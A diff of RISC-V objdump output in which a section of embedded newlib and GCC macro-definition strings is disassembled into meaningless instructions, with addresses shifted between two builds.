-    6c4a:	0030                	addi	a2,sp,8
-    6c4c:	525f 4545 544e      	0x544e4545525f
-    6c52:	535f 4749 414e      	0x414e4749535f
-    6c58:	5f4c                	lw	a1,60(a4)
-    6c5a:	5542                	lw	a0,48(sp)
-    6c5c:	2846                	fld	fa6,80(sp)
-    6c5e:	7470                	flw	fa2,108(s0)
-    6c60:	2972                	fld	fs2,280(sp)
-    6c62:	2820                	fld	fs0,80(s0)
-    6c64:	7028                	flw	fa0,96(s0)
-    6c66:	7274                	flw	fa3,100(a2)
-    6c68:	2d29                	jal	7282 <__stack_size+0x6a82>
-    6c6a:	5f3e                	lw	t5,236(sp)
-    6c6c:	656e                	flw	fa0,216(sp)
-    6c6e:	725f2e77          	0x725f2e77
-    6c72:	6565                	lui	a0,0x19
-    6c74:	746e                	flw	fs0,248(sp)
-    6c76:	5f2e                	lw	t5,232(sp)
-    6c78:	6e676973          	csrrsi	s2,0x6e6,14
-    6c7c:	6c61                	lui	s8,0x18
-    6c7e:	625f 6675 0029      	0x296675625f
-    6c84:	5f5f 444c 4c42      	0x4c42444c5f5f
-    6c8a:	485f 5341 515f      	0x515f5341485f
-    6c90:	4955                	li	s2,21
-    6c92:	5445                	li	s0,-15
-    6c94:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    6c9a:	3120                	fld	fs0,96(a0)
-    6c9c:	4300                	lw	s0,0(a4)
-    6c9e:	4d5f5253          	0x4d5f5253
-    6ca2:	4c435943          	0x4c435943
-    6ca6:	2045                	jal	6d46 <__stack_size+0x6546>
-    6ca8:	3331                	jal	69b4 <__stack_size+0x61b4>
-    6caa:	5f00                	lw	s0,56(a4)
-    6cac:	414d                	li	sp,19
-    6cae:	49544843          	fmadd.s	fa6,fs0,fs5,fs1,rmm
-    6cb2:	454d                	li	a0,19
-    6cb4:	485f 205f 5f00      	0x5f00205f485f
-    6cba:	465f 544c 3436      	0x3436544c465f
-    6cc0:	445f 4e45 524f      	0x524f4e45445f
-    6cc6:	5f4d                	li	t5,-13
-    6cc8:	494d                	li	s2,19
-    6cca:	5f4e                	lw	t5,240(sp)
-    6ccc:	205f 2e34 3439      	0x34392e34205f
-    6cd2:	3630                	fld	fa2,104(a2)
-    6cd4:	3635                	jal	6800 <__stack_size+0x6000>
-    6cd6:	3534                	fld	fa3,104(a0)
-    6cd8:	3438                	fld	fa4,104(s0)
-    6cda:	3231                	jal	65e6 <__stack_size+0x5de6>
-    6cdc:	3634                	fld	fa3,104(a2)
-    6cde:	3435                	jal	670a <__stack_size+0x5f0a>
-    6ce0:	3134                	fld	fa3,96(a0)
-    6ce2:	36353637          	lui	a2,0x36353
-    6ce6:	3738                	fld	fa4,104(a4)
-    6ce8:	3239                	jal	65f6 <__stack_size+0x5df6>
-    6cea:	3638                	fld	fa4,104(a2)
-    6cec:	3238                	fld	fa4,96(a2)
-    6cee:	3132                	fld	ft2,296(sp)
-    6cf0:	65323733          	0x65323733
-    6cf4:	332d                	jal	6a1e <__stack_size+0x621e>
-    6cf6:	3432                	fld	fs0,296(sp)
-    6cf8:	3646                	fld	fa2,112(sp)
-    6cfa:	0034                	addi	a3,sp,8
-    6cfc:	5f5f 4c46 3354      	0x33544c465f5f
-    6d02:	5f32                	lw	t5,44(sp)
-    6d04:	4148                	lw	a0,4(a0)
-    6d06:	45445f53          	0x45445f53
-    6d0a:	4f4e                	lw	t5,208(sp)
-    6d0c:	4d52                	lw	s10,20(sp)
-    6d0e:	5f5f 3120 5f00      	0x5f0031205f5f
-    6d14:	4f50                	lw	a2,28(a4)
-    6d16:	5f584953          	0x5f584953
-    6d1a:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
-    6d1e:	5255                	li	tp,-11
-    6d20:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
-    6d24:	3030                	fld	fa2,96(s0)
-    6d26:	3038                	fld	fa4,96(s0)
-    6d28:	4c39                	li	s8,14
-    6d2a:	5f00                	lw	s0,56(a4)
-    6d2c:	4544                	lw	s1,12(a0)
-    6d2e:	4146                	lw	sp,80(sp)
-    6d30:	4c55                	li	s8,21
-    6d32:	5f54                	lw	a3,60(a4)
-    6d34:	52554f53          	0x52554f53
-    6d38:	31204543          	fmadd.s	fa0,ft0,fs2,ft6,rmm
-    6d3c:	5f00                	lw	s0,56(a4)
-    6d3e:	494c                	lw	a1,20(a0)
-    6d40:	5454                	lw	a3,44(s0)
-    6d42:	454c                	lw	a1,12(a0)
-    6d44:	455f 444e 4149      	0x4149444e455f
-    6d4a:	204e                	fld	ft0,208(sp)
-    6d4c:	3231                	jal	6658 <__stack_size+0x5e58>
-    6d4e:	5f003433          	0x5f003433
-    6d52:	545f4353          	0x545f4353
-    6d56:	5248                	lw	a0,36(a2)
-    6d58:	4145                	li	sp,17
-    6d5a:	5f44                	lw	s1,60(a4)
-    6d5c:	4544                	lw	s1,12(a0)
-    6d5e:	55525453          	0x55525453
-    6d62:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
-    6d66:	495f 4554 4152      	0x41524554495f
-    6d6c:	4954                	lw	a3,20(a0)
-    6d6e:	20534e4f          	fnmadd.s	ft8,ft6,ft5,ft4,rmm
-    6d72:	3335                	jal	6a9e <__stack_size+0x629e>
-    6d74:	5f00                	lw	s0,56(a4)
-    6d76:	755f 695f 746e      	0x746e695f755f
-    6d7c:	645f 6665 6e69      	0x6e696665645f
-    6d82:	6465                	lui	s0,0x19
-    6d84:	0020                	addi	s0,sp,8
-    6d86:	5f5f 4c46 3654      	0x36544c465f5f
-    6d8c:	5834                	lw	a3,112(s0)
-    6d8e:	4d5f 4e41 5f54      	0x5f544e414d5f
-    6d94:	4944                	lw	s1,20(a0)
-    6d96:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    6d9a:	3131                	jal	69a6 <__stack_size+0x61a6>
-    6d9c:	6c780033          	0x6c780033
-    6da0:	6e65                	lui	t3,0x19
-    6da2:	4400                	lw	s0,8(s0)
-    6da4:	414d                	li	sp,19
-    6da6:	545f 5f52 4953      	0x49535f52545f
-    6dac:	455a                	lw	a0,148(sp)
-    6dae:	4f5f 4646 3020      	0x302046464f5f
-    6db4:	3578                	fld	fa4,232(a0)
-    6db6:	0030                	addi	a2,sp,8
-    6db8:	41484357          	0x41484357
-    6dbc:	5f52                	lw	t5,52(sp)
-    6dbe:	414d                	li	sp,19
-    6dc0:	0058                	addi	a4,sp,4
-    6dc2:	435f 4f4c 4b43      	0x4b434f4c435f
-    6dc8:	545f 445f 4345      	0x4345445f545f
-    6dce:	414c                	lw	a1,4(a0)
-    6dd0:	4552                	lw	a0,20(sp)
-    6dd2:	2044                	fld	fs1,128(s0)
-    6dd4:	4300                	lw	s0,0(a4)
-    6dd6:	4f4c                	lw	a1,28(a4)
-    6dd8:	445f4b43          	0x445f4b43
-    6ddc:	5349                	li	t1,-14
-    6dde:	4241                	li	tp,16
+    5ebc:	49525453          	0x49525453
+    5ec0:	474e                	lw	a4,208(sp)
+    5ec2:	485f 205f 5f00      	0x5f00205f485f
+    5ec8:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    5ece:	736f6c63          	bltu	t5,s6,6606 <__stack_size+0x5e06>
+    5ed2:	2865                	jal	5f8a <__stack_size+0x578a>
+    5ed4:	6f6c                	flw	fa1,92(a4)
+    5ed6:	20296b63          	bltu	s2,sp,60ec <__stack_size+0x58ec>
+    5eda:	2828                	fld	fa0,80(s0)
+    5edc:	6f76                	flw	ft10,92(sp)
+    5ede:	6469                	lui	s0,0x1a
+    5ee0:	2029                	jal	5eea <__stack_size+0x56ea>
+    5ee2:	2930                	fld	fa2,80(a0)
+    5ee4:	5300                	lw	s0,32(a4)
+    5ee6:	4545                	li	a0,17
+    5ee8:	55435f4b          	0x55435f4b
+    5eec:	2052                	fld	ft0,272(sp)
+    5eee:	0031                	c.nop	12
+    5ef0:	5f5f 6177 6e72      	0x6e7261775f5f
+    5ef6:	725f 6665 7265      	0x72656665725f
+    5efc:	6e65                	lui	t3,0x19
+    5efe:	28736563          	bltu	t1,t2,6188 <__stack_size+0x5988>
+    5f02:	2c6d7973          	csrrci	s2,0x2c6,26
+    5f06:	736d                	lui	t1,0xffffb
+    5f08:	5f202967          	0x5f202967
+    5f0c:	615f 6d73 5f5f      	0x5f5f6d73615f
+    5f12:	2228                	fld	fa0,64(a2)
+    5f14:	732e                	flw	ft6,232(sp)
+    5f16:	6365                	lui	t1,0x19
+    5f18:	6974                	flw	fa3,84(a0)
+    5f1a:	2e206e6f          	jal	t3,c1fc <__stack_size+0xb9fc>
+    5f1e:	2e756e67          	0x2e756e67
+    5f22:	6e726177          	0x6e726177
+    5f26:	6e69                	lui	t3,0x1a
+    5f28:	20222e67          	0x20222e67
+    5f2c:	6d797323          	0x6d797323
+    5f30:	3b29                	jal	5c4a <__stack_size+0x544a>
+    5f32:	5f20                	lw	s0,120(a4)
+    5f34:	615f 6d73 5f5f      	0x5f5f6d73615f
+    5f3a:	2228                	fld	fa0,64(a2)
+    5f3c:	612e                	flw	ft2,200(sp)
+    5f3e:	7a696373          	csrrsi	t1,0x7a6,18
+    5f42:	5c20                	lw	s0,120(s0)
+    5f44:	2222                	fld	ft4,8(sp)
+    5f46:	6d20                	flw	fs0,88(a0)
+    5f48:	22206773          	csrrsi	a4,0x222,0
+    5f4c:	225c                	fld	fa5,128(a2)
+    5f4e:	2922                	fld	fs2,8(sp)
+    5f50:	5f5f203b          	0x5f5f203b
+    5f54:	7361                	lui	t1,0xffff8
+    5f56:	5f6d                	li	t5,-5
+    5f58:	285f 2e22 7270      	0x72702e22285f
+    5f5e:	7665                	lui	a2,0xffff9
+    5f60:	6f69                	lui	t5,0x1a
+    5f62:	7375                	lui	t1,0xffffd
+    5f64:	2922                	fld	fs2,8(sp)
+    5f66:	5f00                	lw	s0,56(a4)
+    5f68:	4552                	lw	a0,20(sp)
+    5f6a:	4e45                	li	t3,17
+    5f6c:	5f54                	lw	a3,60(a4)
+    5f6e:	5341                	li	t1,-16
+    5f70:	4d495443          	0x4d495443
+    5f74:	5f45                	li	t5,-15
+    5f76:	5542                	lw	a0,48(sp)
+    5f78:	2846                	fld	fa6,80(sp)
+    5f7a:	7470                	flw	fa2,108(s0)
+    5f7c:	2972                	fld	fs2,280(sp)
+    5f7e:	2820                	fld	fs0,80(s0)
+    5f80:	7028                	flw	fa0,96(s0)
+    5f82:	7274                	flw	fa3,100(a2)
+    5f84:	2d29                	jal	659e <__stack_size+0x5d9e>
+    5f86:	5f3e                	lw	t5,236(sp)
+    5f88:	656e                	flw	fa0,216(sp)
+    5f8a:	725f2e77          	0x725f2e77
+    5f8e:	6565                	lui	a0,0x19
+    5f90:	746e                	flw	fs0,248(sp)
+    5f92:	5f2e                	lw	t5,232(sp)
+    5f94:	7361                	lui	t1,0xffff8
+    5f96:	6d697463          	bgeu	s2,s6,665e <__stack_size+0x5e5e>
+    5f9a:	5f65                	li	t5,-7
+    5f9c:	7562                	flw	fa0,56(sp)
+    5f9e:	2966                	fld	fs2,88(sp)
+    5fa0:	5f00                	lw	s0,56(a4)
+    5fa2:	4146                	lw	sp,80(sp)
+    5fa4:	434e5953          	0x434e5953
+    5fa8:	3020                	fld	fs0,96(s0)
+    5faa:	3078                	fld	fa4,224(s0)
+    5fac:	3430                	fld	fa2,104(s0)
+    5fae:	0030                	addi	a2,sp,8
+    5fb0:	5f5f 4e49 5f54      	0x5f544e495f5f
+    5fb6:	4146                	lw	sp,80(sp)
+    5fb8:	5f385453          	0x5f385453
+    5fbc:	5954                	lw	a3,52(a0)
+    5fbe:	4550                	lw	a2,12(a0)
+    5fc0:	5f5f 6920 746e      	0x746e69205f5f
+    5fc6:	5f00                	lw	s0,56(a4)
+    5fc8:	5246                	lw	tp,112(sp)
+    5fca:	4145                	li	sp,17
+    5fcc:	2044                	fld	fs1,128(s0)
+    5fce:	7830                	flw	fa2,112(s0)
+    5fd0:	3030                	fld	fa2,96(s0)
+    5fd2:	3130                	fld	fa2,96(a0)
+    5fd4:	5500                	lw	s0,40(a0)
+    5fd6:	4e49                	li	t3,18
+    5fd8:	3854                	fld	fa3,176(s0)
+    5fda:	435f 6328 2029      	0x20296328435f
+    5fe0:	5f5f 4955 544e      	0x544e49555f5f
+    5fe6:	5f38                	lw	a4,120(a4)
+    5fe8:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    5fec:	5500                	lw	s0,40(a0)
+    5fee:	4e49                	li	t3,18
+    5ff0:	3354                	fld	fa3,160(a4)
+    5ff2:	5f32                	lw	t5,44(sp)
+    5ff4:	414d                	li	sp,19
+    5ff6:	0058                	addi	a4,sp,4
+    5ff8:	5f5f 7470 5f72      	0x5f7274705f5f
+    5ffe:	2074                	fld	fa3,192(s0)
+    6000:	6f76                	flw	ft10,92(sp)
+    6002:	6469                	lui	s0,0x1a
+    6004:	2a20                	fld	fs0,80(a2)
+    6006:	4300                	lw	s0,0(a4)
+    6008:	4f4c                	lw	a1,28(a4)
+    600a:	455f4b43          	0x455f4b43
+    600e:	414e                	lw	sp,208(sp)
+    6010:	4c42                	lw	s8,16(sp)
+    6012:	4445                	li	s0,17
+    6014:	3120                	fld	fs0,96(a0)
+    6016:	5f00                	lw	s0,56(a4)
+    6018:	6e5f 6565 5f64      	0x5f6465656e5f
+    601e:	7470                	flw	fa2,108(s0)
+    6020:	6472                	flw	fs0,28(sp)
+    6022:	6669                	lui	a2,0x1a
+    6024:	5f66                	lw	t5,120(sp)
+    6026:	2074                	fld	fa3,192(s0)
+    6028:	7500                	flw	fs0,40(a0)
+    602a:	736e                	flw	ft6,248(sp)
+    602c:	6769                	lui	a4,0x1a
+    602e:	656e                	flw	fa0,216(sp)
+    6030:	0064                	addi	s1,sp,12
+    6032:	5f5f 5453 4344      	0x434454535f5f
+    6038:	485f 534f 4554      	0x4554534f485f
+    603e:	5f44                	lw	s1,60(a4)
+    6040:	205f 0030 5f5f      	0x5f5f0030205f
+    6046:	414c                	lw	a1,4(a0)
+    6048:	4752                	lw	a4,20(sp)
+    604a:	4645                	li	a2,17
+    604c:	4c49                	li	s8,18
+    604e:	5f45                	li	t5,-15
+    6050:	4956                	lw	s2,84(sp)
+    6052:	4c424953          	0x4c424953
+    6056:	2045                	jal	60f6 <__stack_size+0x58f6>
+    6058:	0030                	addi	a2,sp,8
+    605a:	5f5f 4955 544e      	0x544e49555f5f
+    6060:	414d                	li	sp,19
+    6062:	5f58                	lw	a4,60(a4)
+    6064:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    6068:	6320                	flw	fs0,64(a4)
+    606a:	2320                	fld	fs0,64(a4)
+    606c:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
+    6070:	004c                	addi	a1,sp,4
+    6072:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    6076:	4f5f 5455 5550      	0x555054554f5f
+    607c:	5f54                	lw	a3,60(a4)
+    607e:	4f58                	lw	a4,28(a4)
+    6080:	2052                	fld	ft0,272(sp)
+    6082:	7830                	flw	fa2,112(s0)
+    6084:	3034                	fld	fa3,96(s0)
+    6086:	5f00                	lw	s0,56(a4)
+    6088:	6e5f 6565 5f64      	0x5f6465656e5f
+    608e:	7470                	flw	fa2,108(s0)
+    6090:	6472                	flw	fs0,28(sp)
+    6092:	6669                	lui	a2,0x1a
+    6094:	5f66                	lw	t5,120(sp)
+    6096:	0074                	addi	a3,sp,12
+    6098:	535f 5f43 514d      	0x514d5f43535f
+    609e:	505f 4952 5f4f      	0x5f4f4952505f
+    60a4:	414d                	li	sp,19
+    60a6:	2058                	fld	fa4,128(s0)
+    60a8:	3431                	jal	5ab4 <__stack_size+0x52b4>
+    60aa:	5f00                	lw	s0,56(a4)
+    60ac:	445f 544f 2053      	0x2053544f445f
+    60b2:	202c                	fld	fa1,64(s0)
+    60b4:	2e2e                	fld	ft8,200(sp)
+    60b6:	002e                	c.slli	zero,0xb
+    60b8:	525f 4545 544e      	0x544e4545525f
+    60be:	4d5f 5f50 3550      	0x35505f504d5f
+    60c4:	74702853          	0x74702853
+    60c8:	2972                	fld	fs2,280(sp)
+    60ca:	2820                	fld	fs0,80(s0)
+    60cc:	7028                	flw	fa0,96(s0)
+    60ce:	7274                	flw	fa3,100(a2)
+    60d0:	2d29                	jal	66ea <__stack_size+0x5eea>
+    60d2:	5f3e                	lw	t5,236(sp)
+    60d4:	3570                	fld	fa2,232(a0)
+    60d6:	5f002973          	csrr	s2,0x5f0
+    60da:	495f 544e 3436      	0x3436544e495f
+    60e0:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    60e6:	3020                	fld	fs0,96(s0)
+    60e8:	3778                	fld	fa4,232(a4)
+    60ea:	6666                	flw	fa2,88(sp)
+    60ec:	6666                	flw	fa2,88(sp)
+    60ee:	6666                	flw	fa2,88(sp)
+    60f0:	6666                	flw	fa2,88(sp)
+    60f2:	6666                	flw	fa2,88(sp)
+    60f4:	6666                	flw	fa2,88(sp)
+    60f6:	6666                	flw	fa2,88(sp)
+    60f8:	4c66                	lw	s8,88(sp)
+    60fa:	004c                	addi	a1,sp,4
+    60fc:	535f 5f43 5250      	0x52505f43535f
+    6102:	4f49                	li	t5,18
+    6104:	4952                	lw	s2,20(sp)
+    6106:	5954                	lw	a3,52(a0)
+    6108:	535f 4843 4445      	0x44454843535f
+    610e:	4c55                	li	s8,21
+    6110:	4e49                	li	t3,18
+    6112:	30312047          	fmsub.s	ft0,ft2,ft3,ft6,rdn
+    6116:	0031                	c.nop	12
+    6118:	5f5f 4244 5f4c      	0x5f4c42445f5f
+    611e:	4148                	lw	a0,4(a0)
+    6120:	45445f53          	0x45445f53
+    6124:	4f4e                	lw	t5,208(sp)
+    6126:	4d52                	lw	s10,20(sp)
+    6128:	5f5f 3120 5f00      	0x5f0031205f5f
+    612e:	415f 4654 4c49      	0x4c494654415f
+    6134:	5f45                	li	t5,-15
+    6136:	4956                	lw	s2,84(sp)
+    6138:	4c424953          	0x4c424953
+    613c:	2045                	jal	61dc <__stack_size+0x59dc>
+    613e:	0031                	c.nop	12
+    6140:	5f5f 4c46 3654      	0x36544c465f5f
+    6146:	5f34                	lw	a3,120(a4)
+    6148:	414d                	li	sp,19
+    614a:	5f58                	lw	a4,60(a4)
+    614c:	3031                	jal	5958 <__stack_size+0x5158>
+    614e:	455f 5058 5f5f      	0x5f5f5058455f
+    6154:	3320                	fld	fs0,96(a4)
+    6156:	3830                	fld	fa2,112(s0)
+    6158:	5f00                	lw	s0,56(a4)
+    615a:	635f 6d6f 6170      	0x61706d6f635f
+    6160:	5f72                	lw	t5,60(sp)
+    6162:	6e66                	flw	ft8,88(sp)
+    6164:	745f 645f 6665      	0x6665645f745f
+    616a:	6e69                	lui	t3,0x1a
+    616c:	6465                	lui	s0,0x19
+    616e:	0020                	addi	s0,sp,8
+    6170:	4e5f 4c5f 5349      	0x53494c5f4e5f
+    6176:	5354                	lw	a3,36(a4)
+    6178:	3320                	fld	fs0,96(a4)
+    617a:	0030                	addi	a2,sp,8
+    617c:	5f5f 4e47 4355      	0x43554e475f5f
+    6182:	565f 5f41 494c      	0x494c5f41565f
+    6188:	435f5453          	0x435f5453
+    618c:	41504d4f          	fnmadd.s	fs10,ft0,fs5,fs0,rmm
+    6190:	4954                	lw	a3,20(a0)
+    6192:	4942                	lw	s2,16(sp)
+    6194:	494c                	lw	a1,20(a0)
+    6196:	5954                	lw	a3,52(a0)
+    6198:	3120                	fld	fs0,96(a0)
+    619a:	5f00                	lw	s0,56(a4)
+    619c:	505f 5254 4944      	0x49445254505f
+    61a2:	4646                	lw	a2,80(sp)
+    61a4:	545f 5059 5f45      	0x5f455059545f
+    61aa:	205f 6e69 0074      	0x746e69205f
+    61b0:	7570                	flw	fa2,108(a0)
+    61b2:	6374                	flw	fa3,68(a4)
+    61b4:	6168                	flw	fa0,68(a0)
+    61b6:	5f72                	lw	t5,60(sp)
+    61b8:	6e75                	lui	t3,0x1d
+    61ba:	6f6c                	flw	fa1,92(a4)
+    61bc:	64656b63          	bltu	a0,t1,6812 <__stack_size+0x6012>
+    61c0:	5f28                	lw	a0,120(a4)
+    61c2:	5f202963          	0x5f202963
+    61c6:	7570                	flw	fa2,108(a0)
+    61c8:	6374                	flw	fa3,68(a4)
+    61ca:	6168                	flw	fa0,68(a0)
+    61cc:	5f72                	lw	t5,60(sp)
+    61ce:	6e75                	lui	t3,0x1d
+    61d0:	6f6c                	flw	fa1,92(a4)
+    61d2:	64656b63          	bltu	a0,t1,6828 <__stack_size+0x6028>
+    61d6:	5f28                	lw	a0,120(a4)
+    61d8:	5f002963          	0x5f002963
+    61dc:	475f 4343 415f      	0x415f4343475f
+    61e2:	4f54                	lw	a3,28(a4)
+    61e4:	494d                	li	s2,19
+    61e6:	48435f43          	fmadd.s	ft10,ft6,ft4,fs1,unknown
+    61ea:	5241                	li	tp,-16
+    61ec:	3631                	jal	5cf8 <__stack_size+0x54f8>
+    61ee:	545f 4c5f 434f      	0x434f4c5f545f
+    61f4:	52465f4b          	fnmsub.d	ft10,fa2,ft4,fa0,unknown
+    61f8:	4545                	li	a0,17
+    61fa:	3120                	fld	fs0,96(a0)
+    61fc:	5f00                	lw	s0,56(a4)
+    61fe:	465f 544c 3233      	0x3233544c465f
+    6204:	5f58                	lw	a4,60(a4)
+    6206:	4148                	lw	a0,4(a0)
+    6208:	45445f53          	0x45445f53
+    620c:	4f4e                	lw	t5,208(sp)
+    620e:	4d52                	lw	s10,20(sp)
+    6210:	5f5f 3120 5f00      	0x5f0031205f5f
+    6216:	475f 554e 5f43      	0x5f43554e475f
+    621c:	43445453          	0x43445453
+    6220:	495f 4c4e 4e49      	0x4e494c4e495f
+    6226:	5f45                	li	t5,-15
+    6228:	205f 0031 535f      	0x535f0031205f
+    622e:	50435f43          	fmadd.s	ft10,ft6,ft4,fa0,unknown
+    6232:	5455                	li	s0,-11
+    6234:	4d49                	li	s10,18
+    6236:	2045                	jal	62d6 <__stack_size+0x5ad6>
+    6238:	3336                	fld	ft6,360(sp)
+    623a:	5300                	lw	s0,32(a4)
+    623c:	495f 4246 4b4c      	0x4b4c4246495f
+    6242:	5f20                	lw	s0,120(a4)
+    6244:	4649                	li	a2,18
+    6246:	4c42                	lw	s8,16(sp)
+    6248:	4955004b          	fnmsub.s	ft0,fa0,fs5,fs1,rne
+    624c:	544e                	lw	s0,240(sp)
+    624e:	3436                	fld	fs0,360(sp)
+    6250:	4d5f 5841 5f00      	0x5f0058414d5f
+    6256:	535f4353          	0x535f4353
+    625a:	4f50                	lw	a2,28(a4)
+    625c:	4152                	lw	sp,20(sp)
+    625e:	4944                	lw	s1,20(a0)
+    6260:	45535f43          	0x45535f43
+    6264:	5652                	lw	a2,52(sp)
+    6266:	5245                	li	tp,-15
+    6268:	3720                	fld	fs0,104(a4)
+    626a:	535f0037          	lui	zero,0x535f0
+    626e:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
+    6272:	5055                	c.li	zero,-11
+    6274:	2045                	jal	6314 <__stack_size+0x5b14>
+    6276:	3231                	jal	5b82 <__stack_size+0x5382>
+    6278:	0030                	addi	a2,sp,8
+    627a:	5f5f 7567 7261      	0x726175675f5f
+    6280:	6564                	flw	fs1,76(a0)
+    6282:	5f64                	lw	s1,124(a4)
+    6284:	7962                	flw	fs2,56(sp)
+    6286:	7828                	flw	fa0,112(s0)
+    6288:	2029                	jal	6292 <__stack_size+0x5a92>
+    628a:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    6290:	615f 6e6e 746f      	0x746f6e6e615f
+    6296:	7461                	lui	s0,0xffff8
+    6298:	2865                	jal	6350 <__stack_size+0x5b50>
+    629a:	72617567          	0x72617567
+    629e:	6564                	flw	fs1,76(a0)
+    62a0:	5f64                	lw	s1,124(a4)
+    62a2:	7962                	flw	fs2,56(sp)
+    62a4:	7828                	flw	fa0,112(s0)
+    62a6:	2929                	jal	66c0 <__stack_size+0x5ec0>
+    62a8:	5f00                	lw	s0,56(a4)
+    62aa:	415f4353          	0x415f4353
+    62ae:	4f49                	li	t5,18
+    62b0:	4d5f 5841 3320      	0x332058414d5f
+    62b6:	0035                	c.nop	13
+    62b8:	5f5f 5845 4f50      	0x4f5058455f5f
+    62be:	5452                	lw	s0,52(sp)
+    62c0:	0020                	addi	s0,sp,8
+    62c2:	5f5f 4d50 2854      	0x28544d505f5f
+    62c8:	7261                	lui	tp,0xffff8
+    62ca:	20297367          	0x20297367
+    62ce:	7261                	lui	tp,0xffff8
+    62d0:	5f007367          	0x5f007367
+    62d4:	6e5f 6f74 7368      	0x73686f746e5f
+    62da:	5f28                	lw	a0,120(a4)
+    62dc:	2978                	fld	fa4,208(a0)
+    62de:	5f20                	lw	s0,120(a4)
+    62e0:	625f 7773 7061      	0x70617773625f
+    62e6:	3631                	jal	5df2 <__stack_size+0x55f2>
+    62e8:	5f28                	lw	a0,120(a4)
+    62ea:	2978                	fld	fa4,208(a0)
+    62ec:	5500                	lw	s0,40(a0)
+    62ee:	4e49                	li	t3,18
+    62f0:	5f54                	lw	a3,60(a4)
+    62f2:	4146                	lw	sp,80(sp)
+    62f4:	5f385453          	0x5f385453
+    62f8:	414d                	li	sp,19
+    62fa:	0058                	addi	a4,sp,4
+    62fc:	5f5f 4357 4148      	0x414843575f5f
+    6302:	5f52                	lw	t5,52(sp)
+    6304:	54444957          	0x54444957
+    6308:	5f48                	lw	a0,60(a4)
+    630a:	205f 3233 4300      	0x43003233205f
+    6310:	4d5f5253          	0x4d5f5253
+    6314:	5048                	lw	a0,36(s0)
+    6316:	434d                	li	t1,19
+    6318:	544e554f          	0x544e554f
+    631c:	5245                	li	tp,-15
+    631e:	4834                	lw	a3,80(s0)
+    6320:	3220                	fld	fs0,96(a2)
+    6322:	0030                	addi	a2,sp,8
+    6324:	414d                	li	sp,19
+    6326:	5f58                	lw	a4,60(a4)
+    6328:	4f4e4143          	fmadd.q	ft2,ft8,fs4,fs1,rmm
+    632c:	204e                	fld	ft0,208(sp)
+    632e:	3532                	fld	fa0,296(sp)
+    6330:	0035                	c.nop	13
+    6332:	5f5f 4c46 3654      	0x36544c465f5f
+    6338:	5f34                	lw	a3,120(a4)
+    633a:	494d                	li	s2,19
+    633c:	5f4e                	lw	t5,240(sp)
+    633e:	205f 2e32 3232      	0x32322e32205f
+    6344:	3035                	jal	5b70 <__stack_size+0x5370>
+    6346:	35383337          	lui	t1,0x35383
+    634a:	3538                	fld	fa4,104(a0)
+    634c:	3730                	fld	fa2,104(a4)
+    634e:	3032                	fld	ft0,296(sp)
+    6350:	3331                	jal	605c <__stack_size+0x585c>
+    6352:	3338                	fld	fa4,96(a4)
+    6354:	3930                	fld	fa2,112(a0)
+    6356:	3230                	fld	fa2,96(a2)
+    6358:	31373233          	0x31373233
+    635c:	32333337          	lui	t1,0x32333
+    6360:	3034                	fld	fa3,96(s0)
+    6362:	3034                	fld	fa3,96(s0)
+    6364:	6536                	flw	fa0,76(sp)
+    6366:	332d                	jal	6090 <__stack_size+0x5890>
+    6368:	3830                	fld	fa2,112(s0)
+    636a:	3646                	fld	fa2,112(sp)
+    636c:	0034                	addi	a3,sp,8
+    636e:	5f5f 5358 5f49      	0x5f4953585f5f
+    6374:	4956                	lw	s2,84(sp)
+    6376:	4c424953          	0x4c424953
+    637a:	2045                	jal	641a <__stack_size+0x5c1a>
+    637c:	0030                	addi	a2,sp,8
+    637e:	5f5f 7473 6672      	0x667274735f5f
+    6384:	6974                	flw	fa3,84(a0)
+    6386:	656d                	lui	a0,0x1b
+    6388:	696c                	flw	fa1,84(a0)
+    638a:	6628656b          	0x6628656b
+    638e:	746d                	lui	s0,0xffffb
+    6390:	7261                	lui	tp,0xffff8
+    6392:	69662c67          	0x69662c67
+    6396:	7372                	flw	ft6,60(sp)
+    6398:	7674                	flw	fa3,108(a2)
+    639a:	7261                	lui	tp,0xffff8
+    639c:	7261                	lui	tp,0xffff8
+    639e:	5f202967          	0x5f202967
+    63a2:	615f 7474 6972      	0x69727474615f
+    63a8:	7562                	flw	fa0,56(sp)
+    63aa:	6574                	flw	fa3,76(a0)
+    63ac:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    63b2:	6f66                	flw	ft10,88(sp)
+    63b4:	6d72                	flw	fs10,28(sp)
+    63b6:	7461                	lui	s0,0xffff8
+    63b8:	5f5f 2820 5f5f      	0x5f5f28205f5f
+    63be:	66727473          	csrrci	s0,0x667,4
+    63c2:	6974                	flw	fa3,84(a0)
+    63c4:	656d                	lui	a0,0x1b
+    63c6:	5f5f 202c 6d66      	0x6d66202c5f5f
+    63cc:	6174                	flw	fa3,68(a0)
+    63ce:	6772                	flw	fa4,28(sp)
+    63d0:	202c                	fld	fa1,64(s0)
+    63d2:	6966                	flw	fs2,88(sp)
+    63d4:	7372                	flw	ft6,60(sp)
+    63d6:	7674                	flw	fa3,108(a2)
+    63d8:	7261                	lui	tp,0xffff8
+    63da:	7261                	lui	tp,0xffff8
+    63dc:	29292967          	0x29292967
+    63e0:	5f00                	lw	s0,56(a4)
+    63e2:	505f 5254 4944      	0x49445254505f
+    63e8:	4646                	lw	a2,80(sp)
+    63ea:	545f 0020 4353      	0x43530020545f
+    63f0:	4148                	lw	a0,4(a0)
+    63f2:	5f52                	lw	t5,52(sp)
+    63f4:	414d                	li	sp,19
+    63f6:	0058                	addi	a4,sp,4
+    63f8:	4446                	lw	s0,80(sp)
+    63fa:	5a5f 5245 284f      	0x284f52455a5f
+    6400:	2970                	fld	fa2,208(a0)
+    6402:	2820                	fld	fs0,80(s0)
+    6404:	5f5f 7865 6574      	0x657478655f5f
+    640a:	736e                	flw	ft6,248(sp)
